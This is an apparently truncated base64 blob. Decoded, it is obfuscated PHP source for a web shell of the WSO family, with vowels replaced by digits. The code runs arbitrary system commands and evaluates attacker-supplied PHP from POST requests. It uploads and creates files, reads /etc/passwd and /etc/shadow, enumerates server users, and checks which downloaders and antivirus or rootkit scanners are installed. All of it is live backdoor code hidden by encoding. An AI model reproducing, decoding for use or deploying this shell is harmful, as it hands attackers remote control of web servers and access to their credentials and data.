xZjUgbTJkNTo8L3NwMW4+ICcgLiAoJEdMT0JBTFNbJ3MxZjVfbTJkNSddPyc8ZjJudCBjMmwycj1yNWQ+T048L2YybnQ+JzonPGYybnQgYzJsMnI9Z3I1NW4+PGI+T0ZGPC9iPjwvZjJudD4nKQ0KICAgICAgIC4gJyA8MSBocjVmPSMgMm5jbDRjaz0iZyhcJ1BocFwnLG4zbGwsXCdcJyxcJzRuZjJcJykiPlsgcGhwNG5mMiBdPC8xPiA8c3Axbj5EMXQ1dDRtNTo8L3NwMW4+ICcgLiBkMXQ1KCdZLW0tZCBIOjQ6cycpIC4gJzxicj4nIC4gd3MyVjQ1d1M0ejUoJHQydDFsU3AxYzUpIC4gJyA8c3Axbj5GcjU1Ojwvc3Axbj4gJyAuIHdzMlY0NXdTNHo1KCRmcjU1U3AxYzUpIC4gJyAoJy4gKDRudCkgKCRmcjU1U3AxYzUvJHQydDFsU3AxYzUqNjAwKSAuICclKTxicj4nIC4gJGN3ZF9sNG5rcyAuICcgJy4gd3MyUDVybXNDMmwycigkR0xPQkFMU1snY3dkJ10pIC4gJyA8MSBocjVmPSMgMm5jbDRjaz0iZyhcJ0Y0bDVzTTFuXCcsXCcnIC4gJEdMT0JBTFNbJ2gybTVfY3dkJ10gLiAnXCcsXCdcJyxcJ1wnLFwnXCcpIj5bIGgybTUgXTwvMT48YnI+JyAuICRkcjR2NXMgLiAnPC90ZD4nDQogICAgICAgLiAnPHRkIHc0ZHRoPTYgMWw0Z249cjRnaHQ+PG4yYnI+PHM1bDVjdCAybmNoMW5nNT0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLG4zbGwsdGg0cy52MWwzNSkiPjwycHRncjIzcCBsMWI1bD0iUDFnNSBjaDFyczV0Ij4nIC4gJDJwdF9jaDFyczV0cyAuICc8LzJwdGdyMjNwPjwvczVsNWN0Pjxicj48c3Axbj5TNXJ2NXIgSVA6PC9zcDFuPjxicj4nIC4gQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdIC4gJzxicj48c3Axbj5DbDQ1bnQgSVA6PC9zcDFuPjxicj4nIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAnPC9uMmJyPjwvdGQ+PC90cj48L3QxYmw1PicNCiAgICAgICAuICc8dDFibDUgc3R5bDU9ImIycmQ1ci10MnA6YXB4IHMybDRkICNvb287IiBjNWxscDFkZDRuZz1vIGM1bGxzcDFjNG5nPTAgdzRkdGg9NjAwJT48dHI+JyAuICRtNW4zIC4gJzwvdHI+PC90MWJsNT48ZDR2IHN0eWw1PSJtMXJnNG46aSI+JzsNCn0NCg0KZjNuY3Q0Mm4gd3MyRjIydDVyKCkgew0KCSQ0c193cjR0MWJsNSA9IDRzX3dyNHQxYmw1KCRHTE9CQUxTWydjd2QnXSk/IiA8ZjJudCBjMmwycj0nZ3I1NW4nPihXcjR0NTFibDUpPC9mMm50PiI6IiA8ZjJudCBjMmwycj1yNWQ+KE4ydCB3cjR0MWJsNSk8L2YybnQ+IjsNCiAgICA1Y2gyICINCjwvZDR2Pg0KPHQxYmw1IGNsMXNzPTRuZjIgNGQ9dDIybHNUYmwgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCUgIHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vO2IycmQ1ci1iMnR0Mm06YXB4IHMybDRkICNvb287Jz4NCgk8dHI+DQoJCTx0ZD48ZjJybSAybnMzYm00dD0nZyhuM2xsLHRoNHMuYy52MWwzNSxcIlwiKTtyNXQzcm4gZjFsczU7Jz48c3Axbj5DaDFuZzUgZDRyOjwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJCTx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+UjUxZCBmNGw1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgk8L3RyPjx0cj4NCgkJPHRkPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNNMW4nLG4zbGwsJ21rZDRyJyx0aDRzLmQudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5NMWs1IGQ0cjo8L3NwMW4+JDRzX3dyNHQxYmw1PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWQ+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJCTx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1LCdta2Y0bDUnKTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+TTFrNSBmNGw1Ojwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgk8L3RyPjx0cj4NCgkJPHRkPjxmMnJtIDJuczNibTR0PVwiZygnQzJuczJsNScsbjNsbCx0aDRzLmMudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5FeDVjM3Q1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgkJPHRkPjxmMnJtIG01dGgyZD0ncDJzdCcgRU5DVFlQRT0nbTNsdDRwMXJ0L2Yycm0tZDF0MSc+DQoJCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9J0Y0bDVzTUFuJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuICRHTE9CQUxTWydjd2QnXSAuIic+DQoJCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2IHYxbDM1PSczcGwyMWRGNGw1Jz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIiAuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpIC4gIic+DQoJCTxzcDFuPlVwbDIxZCBmNGw1Ojwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT1mNGw1IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PGJyICA+PC90ZD4NCgk8L3RyPjwvdDFibDU+PC9kNHY+PC9iMmR5PjwvaHRtbD4iOw0KfQ0KDQo0ZiAoIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0cHczNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0cHczNGQnKT09PWYxbHM1KSkgew0KICAgIGYzbmN0NDJuIHAyczR4X2c1dHB3MzRkKCRwKSB7cjV0M3JuIGYxbHM1O30gfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dGdyZzRkIikgJiYgKHN0cnAycygkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXSwgJ3AyczR4X2c1dGdyZzRkJyk9PT1mMWxzNSkpIHsNCiAgICBmM25jdDQybiBwMnM0eF9nNXRncmc0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0NCg0KZjNuY3Q0Mm4gd3MyRXgoJDRuKSB7DQoJJDIzdCA9ICcnOw0KCTRmIChmM25jdDQybl81eDRzdHMoJzV4NWMnKSkgew0KCQlANXg1YygkNG4sJDIzdCk7DQoJCSQyM3QgPSBAajI0bigiXG4iLCQyM3QpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3Axc3N0aHIzJykpIHsNCgkJMmJfc3QxcnQoKTsNCgkJQHAxc3N0aHIzKCQ0bik7DQoJCSQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCgl9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdzeXN0NW0nKSkgew0KCQkyYl9zdDFydCgpOw0KCQlAc3lzdDVtKCQ0bik7DQoJCSQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCgl9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdzaDVsbF81eDVjJykpIHsNCgkJJDIzdCA9IHNoNWxsXzV4NWMoJDRuKTsNCgl9IDVsczU0ZiAoNHNfcjVzMjNyYzUoJGYgPSBAcDJwNW4oJDRuLCJyIikpKSB7DQoJCSQyM3QgPSAiIjsNCgkJd2g0bDUoIUBmNTJmKCRmKSkNCgkJCSQyM3QgLj0gZnI1MWQoJGYsNjBhdSk7DQoJCXBjbDJzNSgkZik7DQoJfQ0KCXI1dDNybiAkMjN0Ow0KfQ0KDQpmM25jdDQybiB3czJWNDV3UzR6NSgkcykgew0KICAgIDRmICg0c180bnQoJHMpKQ0KICAgICAgICAkcyA9IHNwcjRudGYoIiUzIiwgJHMpOw0KDQoJNGYoJHMgPj0gNjA3bzd1NjhhdSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MDdvN3U2OGF1ICkuICcgR0InOw0KCTVsczU0ZigkcyA+PSA2MHU4aTdlKQ0KCQlyNXQzcm4gc3ByNG50ZignJTYuYWYnLCAkcyAvIDYwdThpN2UgKSAuICcgTUInOw0KCTVsczU0ZigkcyA+PSA2MGF1KQ0KCQlyNXQzcm4gc3ByNG50ZignJTYuYWYnLCAkcyAvIDYwYXUgKSAuICcgS0InOw0KCTVsczUNCgkJcjV0M3JuICRzIC4gJyBCJzsNCn0NCg0KZjNuY3Q0Mm4gd3MyUDVybXMoJHApIHsNCgk0ZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJDQgPSAncyc7DQoJNWxzNTRmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkNCA9ICdsJzsNCgk1bHM1NGYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSQ0ID0gJy0nOw0KCTVsczU0ZiAoKCRwICYgMHhlMDAwKSA9PSAweGUwMDApJDQgPSAnYic7DQoJNWxzNTRmICgoJHAgJiAweHUwMDApID09IDB4dTAwMCkkNCA9ICdkJzsNCgk1bHM1NGYgKCgkcCAmIDB4YTAwMCkgPT0gMHhhMDAwKSQ0ID0gJ2MnOw0KCTVsczU0ZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJDQgPSAncCc7DQoJNWxzNSAkNCA9ICczJzsNCgkkNCAuPSAoKCRwICYgMHgwNjAwKSA/ICdyJyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwdTApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoJJDQgLj0gKCgkcCAmIDB4MDBhMCkgPyAncicgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwNjApID8gJ3cnIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDB1MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwdTAwKSA/ICdTJyA6ICctJykpOw0KCSQ0IC49ICgoJHAgJiAweDAwMHUpID8gJ3InIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDBhKSA/ICd3JyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwNikgPyAoKCRwICYgMHgwYTAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MGEwMCkgPyAnVCcgOiAnLScpKTsNCglyNXQzcm4gJDQ7DQp9DQoNCmYzbmN0NDJuIHdzMlA1cm1zQzJsMnIoJGYpIHsNCgk0ZiAoIUA0c19yNTFkMWJsNSgkZikpDQoJCXI1dDNybiAnPGYybnQgYzJsMnI9I0ZGMDAwMD4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOw0KCTVsczU0ZiAoIUA0c193cjR0MWJsNSgkZikpDQoJCXI1dDNybiAnPGYybnQgYzJsMnI9d2g0dDU+JyAuIHdzMlA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCgk1bHM1DQoJCXI1dDNybiAnPGYybnQgYzJsMnI9I2FpZmYwMD4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOw0KfQ0KDQpmM25jdDQybiB3czJTYzFuZDRyKCRkNHIpIHsNCiAgICA0ZihmM25jdDQybl81eDRzdHMoInNjMW5kNHIiKSkgew0KICAgICAgICByNXQzcm4gc2MxbmQ0cigkZDRyKTsNCiAgICB9IDVsczUgew0KICAgICAgICAkZGggID0gMnA1bmQ0cigkZDRyKTsNCiAgICAgICAgd2g0bDUgKGYxbHM1ICE9PSAoJGY0bDVuMW01ID0gcjUxZGQ0cigkZGgpKSkNCiAgICAgICAgICAgICRmNGw1c1tdID0gJGY0bDVuMW01Ow0KICAgICAgICByNXQzcm4gJGY0bDVzOw0KICAgIH0NCn0NCg0KZjNuY3Q0Mm4gd3MyV2g0Y2goJHApIHsNCgkkcDF0aCA9IHdzMkV4KCd3aDRjaCAnIC4gJHApOw0KCTRmKCE1bXB0eSgkcDF0aCkpDQoJCXI1dDNybiAkcDF0aDsNCglyNXQzcm4gZjFsczU7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblM1Y0luZjIoKSB7DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PlM1cnY1ciBzNWMzcjR0eSA0bmYycm0xdDQybjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQoJZjNuY3Q0Mm4gd3MyUzVjUDFyMW0oJG4sICR2KSB7DQoJCSR2ID0gdHI0bSgkdik7DQoJCTRmKCR2KSB7DQoJCQk1Y2gyICc8c3Axbj4nIC4gJG4gLiAnOiA8L3NwMW4+JzsNCgkJCTRmKHN0cnAycygkdiwgIlxuIikgPT09IGYxbHM1KQ0KCQkJCTVjaDIgJHYgLiAnPGJyPic7DQoJCQk1bHM1DQoJCQkJNWNoMiAnPHByNSBjbDFzcz1tbDY+JyAuICR2IC4gJzwvcHI1Pic7DQoJCX0NCgl9DQoNCgl3czJTNWNQMXIxbSgnUzVydjVyIHMyZnR3MXI1JywgQGc1dDVudignU0VSVkVSX1NPRlRXQVJFJykpOw0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnMXAxY2g1X2c1dF9tMmQzbDVzJykpDQogICAgICAgIHdzMlM1Y1AxcjFtKCdMMjFkNWQgQXAxY2g1IG0yZDNsNXMnLCA0bXBsMmQ1KCcsICcsIDFwMWNoNV9nNXRfbTJkM2w1cygpKSk7DQoJd3MyUzVjUDFyMW0oJ0Q0czFibDVkIFBIUCBGM25jdDQybnMnLCAkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXT8kR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXTonbjJuNScpOw0KCXdzMlM1Y1AxcjFtKCdPcDVuIGIxczUgZDRyJywgQDRuNF9nNXQoJzJwNW5fYjFzNWQ0cicpKTsNCgl3czJTNWNQMXIxbSgnUzFmNSBtMmQ1IDV4NWMgZDRyJywgQDRuNF9nNXQoJ3MxZjVfbTJkNV81eDVjX2Q0cicpKTsNCgl3czJTNWNQMXIxbSgnUzFmNSBtMmQ1IDRuY2wzZDUgZDRyJywgQDRuNF9nNXQoJ3MxZjVfbTJkNV80bmNsM2Q1X2Q0cicpKTsNCgl3czJTNWNQMXIxbSgnY1VSTCBzM3BwMnJ0JywgZjNuY3Q0Mm5fNXg0c3RzKCdjM3JsX3Y1cnM0Mm4nKT8nNW4xYmw1ZCc6J24yJyk7DQoJJHQ1bXA9MXJyMXkoKTsNCgk0ZihmM25jdDQybl81eDRzdHMoJ215c3FsX2c1dF9jbDQ1bnRfNG5mMicpKQ0KCQkkdDVtcFtdID0gIk15U3FsICgiLm15c3FsX2c1dF9jbDQ1bnRfNG5mMigpLiIpIjsNCgk0ZihmM25jdDQybl81eDRzdHMoJ21zc3FsX2Mybm41Y3QnKSkNCgkJJHQ1bXBbXSA9ICJNU1NRTCI7DQoJNGYoZjNuY3Q0Mm5fNXg0c3RzKCdwZ19jMm5uNWN0JykpDQoJCSR0NW1wW10gPSAiUDJzdGdyNVNRTCI7DQoJNGYoZjNuY3Q0Mm5fNXg0c3RzKCcyYzRfYzJubjVjdCcpKQ0KCQkkdDVtcFtdID0gIk9yMWNsNSI7DQoJd3MyUzVjUDFyMW0oJ1MzcHAycnQ1ZCBkMXQxYjFzNXMnLCA0bXBsMmQ1KCcsICcsICR0NW1wKSk7DQoJNWNoMiAnPGJyPic7DQoNCgk0ZigkR0xPQkFMU1snMnMnXSA9PSAnbjR4Jykgew0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ1I1MWQxYmw1IC81dGMvcDFzc3dkJywgQDRzX3I1MWQxYmw1KCcvNXRjL3Axc3N3ZCcpPyJ5NXMgPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIiwgXCIvNXRjL1wiLCBcInAxc3N3ZFwiKSc+W3Y0NXddPC8xPiI6J24yJyk7DQogICAgICAgICAgICB3czJTNWNQMXIxbSgnUjUxZDFibDUgLzV0Yy9zaDFkMncnLCBANHNfcjUxZDFibDUoJy81dGMvc2gxZDJ3Jyk/Ink1cyA8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLCBcIi81dGMvXCIsIFwic2gxZDJ3XCIpJz5bdjQ1d108LzE+IjonbjInKTsNCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdPUyB2NXJzNDJuJywgQGY0bDVfZzV0X2MybnQ1bnRzKCcvcHIyYy92NXJzNDJuJykpOw0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0Q0c3RyIG4xbTUnLCBAZjRsNV9nNXRfYzJudDVudHMoJy81dGMvNHNzMzUubjV0JykpOw0KICAgICAgICAgICAgNGYoISRHTE9CQUxTWydzMWY1X20yZDUnXSkgew0KICAgICAgICAgICAgICAgICQzczVyZjNsID0gMXJyMXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtMWs1JywncGhwJywncDVybCcsJ3B5dGgybicsJ3IzYnknLCd0MXInLCdnejRwJywnYno0cCcsJ2J6NHBhJywnbmMnLCdsMmMxdDUnLCdzMzRkcDVybCcpOw0KICAgICAgICAgICAgICAgICRkMW5nNXIgPSAxcnIxeSgnazF2JywnbjJkb2EnLCdiZGMycjVkJywnM3ZzYzFuJywnczF2JywnZHJ3NWJkJywnY2wxbWQnLCdya2gzbnQ1cicsJ2Noa3IyMnRrNHQnLCc0cHQxYmw1cycsJzRwZncnLCd0cjRwdzRyNScsJ3NoNDVsZGNjJywncDJydHM1bnRyeScsJ3NuMnJ0JywnMnNzNWMnLCdsNGRzMWRtJywndGNwbDJkZycsJ3N4NGQnLCdsMmdjaDVjaycsJ2wyZ3cxdGNoJywnc3lzbTFzaycsJ3ptYnNjMXAnLCdzMXdtNGxsJywndzJybXNjMW4nLCduNG5qMScpOw0KICAgICAgICAgICAgICAgICRkMndubDIxZDVycyA9IDFycjF5KCd3ZzV0JywnZjV0Y2gnLCdseW54JywnbDRua3MnLCdjM3JsJywnZzV0JywnbHdwLW00cnIycicpOw0KICAgICAgICAgICAgICAgIDVjaDIgJzxicj4nOw0KICAgICAgICAgICAgICAgICR0NW1wPTFycjF5KCk7DQogICAgICAgICAgICAgICAgZjJyNTFjaCAoJDNzNXJmM2wgMXMgJDR0NW0pDQogICAgICAgICAgICAgICAgICAgIDRmKHdzMldoNGNoKCQ0dDVtKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICR0NW1wW10gPSAkNHQ1bTsNCiAgICAgICAgICAgICAgICB3czJTNWNQMXIxbSgnVXM1cmYzbCcsIDRtcGwyZDUoJywgJywkdDVtcCkpOw0KICAgICAgICAgICAgICAgICR0NW1wPTFycjF5KCk7DQogICAgICAgICAgICAgICAgZjJyNTFjaCAoJGQxbmc1ciAxcyAkNHQ1bSkNCiAgICAgICAgICAgICAgICAgICAgNGYod3MyV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOw0KICAgICAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdEMW5nNXInLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCiAgICAgICAgICAgICAgICAkdDVtcD0xcnIxeSgpOw0KICAgICAgICAgICAgICAgIGYycjUxY2ggKCRkMndubDIxZDVycyAxcyAkNHQ1bSkNCiAgICAgICAgICAgICAgICAgICAgNGYod3MyV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOw0KICAgICAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdEMndubDIxZDVycycsIDRtcGwyZDUoJywgJywkdDVtcCkpOw0KICAgICAgICAgICAgICAgIDVjaDIgJzxici8+JzsNCiAgICAgICAgICAgICAgICB3czJTNWNQMXIxbSgnSEREIHNwMWM1Jywgd3MyRXgoJ2RmIC1oJykpOw0KICAgICAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdIMnN0cycsIEBmNGw1X2c1dF9jMm50NW50cygnLzV0Yy9oMnN0cycpKTsNCiAgICAgICAgICAgICAgICA1Y2gyICc8YnIvPjxzcDFuPnAyczR4X2c1dHB3MzRkICgiUjUxZCIgLzV0Yy9wMXNzd2QpPC9zcDFuPjx0MWJsNT48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJpIix0aDRzLnAxcjFtNi52MWwzNSx0aDRzLnAxcjFtYS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjx0cj48dGQ+RnIybTwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbTYgdjFsMzU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UMjwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbWEgdjFsMzU9NjAwMD48L3RkPjwvdHI+PC90MWJsNT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCiAgICAgICAgICAgICAgICA0ZiAoNHNzNXQgKCRfUE9TVFsncGEnXSwgJF9QT1NUWydwbyddKSAmJiA0c19uM201cjRjKCRfUE9TVFsncGEnXSkgJiYgNHNfbjNtNXI0YygkX1BPU1RbJ3BvJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICR0NW1wID0gIiI7DQogICAgICAgICAgICAgICAgICAgIGYycig7JF9QT1NUWydwYSddIDw9ICRfUE9TVFsncG8nXTskX1BPU1RbJ3BhJ10rKykgew0KICAgICAgICAgICAgICAgICAgICAgICAgJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZCgkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCQzNGQpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHQ1bXAgLj0gajI0bignOicsJDM0ZCkuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICc8YnIvPic7DQogICAgICAgICAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdVczVycycsICR0NW1wKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoJfSA1bHM1IHsNCgkJd3MyUzVjUDFyMW0oJ09TIFY1cnM0Mm4nLHdzMkV4KCd2NXInKSk7DQoJCXdzMlM1Y1AxcjFtKCdBY2MyM250IFM1dHQ0bmdzJyx3czJFeCgnbjV0IDFjYzIzbnRzJykpOw0KCQl3czJTNWNQMXIxbSgnVXM1ciBBY2MyM250cycsd3MyRXgoJ241dCAzczVyJykpOw0KCX0NCgk1Y2gyICc8L2Q0dj4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5QaHAoKSB7DQoJNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQogICAgICAgIFdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4JywgdHIzNSk7DQoJCTJiX3N0MXJ0KCk7DQoJCTV2MWwoJF9QT1NUWydwNiddKTsNCgkJJHQ1bXAgPSAiZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ1BocE8zdHAzdCcpLnN0eWw1LmQ0c3BsMXk9Jyc7ZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ1BocE8zdHAzdCcpLjRubjVySFRNTD0nIiAuIDFkZGNzbDFzaDVzKGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpLCAiXG5cclx0XFwnXDAiKSAuICInO1xuIjsNCgkJNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCgkJNXg0dDsNCgl9DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pICYmICE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KICAgICAgICBXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnMWoxeCcsIDApOw0KDQoJd3MySDUxZDVyKCk7DQoJNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc0bmYyJykpIHsNCgkJNWNoMiAnPGg2PlBIUCA0bmYyPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHN0eWw1Pi5wIHtjMmwycjojMDAwO308L3N0eWw1Pic7DQoJCTJiX3N0MXJ0KCk7DQoJCXBocDRuZjIoKTsNCgkJJHRtcCA9IDJiX2c1dF9jbDUxbigpOw0KICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KDFycjF5ICgNCiAgICAgICAgICAgICchKGIyZHl8MTpcdyt8YjJkeSwgdGQsIHRoLCBoNiwgaGEpIHsuKn0hbXM0VScsDQogICAgICAgICAgICAnIXRkLCB0aCB7KC4qKX0hbXM0VScsDQogICAgICAgICAgICAnITw0bWdbXj5dKz4hbXM0VScsDQogICAgICAgICksIDFycjF5ICgNCiAgICAgICAgICAgICcnLA0KICAgICAgICAgICAgJy41LCAudiwgLmgsIC5oIHRoIHskNn0nLA0KICAgICAgICAgICAgJycNCiAgICAgICAgKSwgJHRtcCk7DQoJCTVjaDIgc3RyX3I1cGwxYzUoJzxoNicsJzxoYScsICR0bXApIC4nPC9kNHY+PGJyPic7DQoJfQ0KICAgIDVjaDIgJzxoNj5FeDVjM3Q0Mm4gUEhQLWMyZDU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48ZjJybSBuMW01PXBmIG01dGgyZD1wMnN0IDJuczNibTR0PSI0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShcJ1BocFwnLG4zbGwsdGg0cy5jMmQ1LnYxbDM1KTt9NWxzNXtnKFwnUGhwXCcsbjNsbCx0aDRzLmMyZDUudjFsMzUsXCdcJyk7fXI1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PWMyZDUgY2wxc3M9YjRnMXI1MSA0ZD1QaHBDMmQ1PicuKCE1bXB0eSgkX1BPU1RbJ3A2J10pP2h0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKTonJykuJzwvdDV4dDFyNTE+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PUV2MWwgc3R5bDU9Im0xcmc0bi10MnA6aXB4Ij4nOw0KCTVjaDIgJyA8NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAnLigkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuJz4gczVuZCAzczRuZyBBSkFYPC9mMnJtPjxwcjUgNGQ9UGhwTzN0cDN0IHN0eWw1PSInLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuJ20xcmc0bi10MnA6aXB4OyIgY2wxc3M9bWw2Pic7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJMmJfc3QxcnQoKTsNCgkJNXYxbCgkX1BPU1RbJ3A2J10pOw0KCQk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpOw0KCX0NCgk1Y2gyICc8L3ByNT48L2Q0dj4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5GNGw1c00xbigpIHsNCiAgICA0ZiAoITVtcHR5ICgkX0NPT0tJRVsnZiddKSkNCiAgICAgICAgJF9DT09LSUVbJ2YnXSA9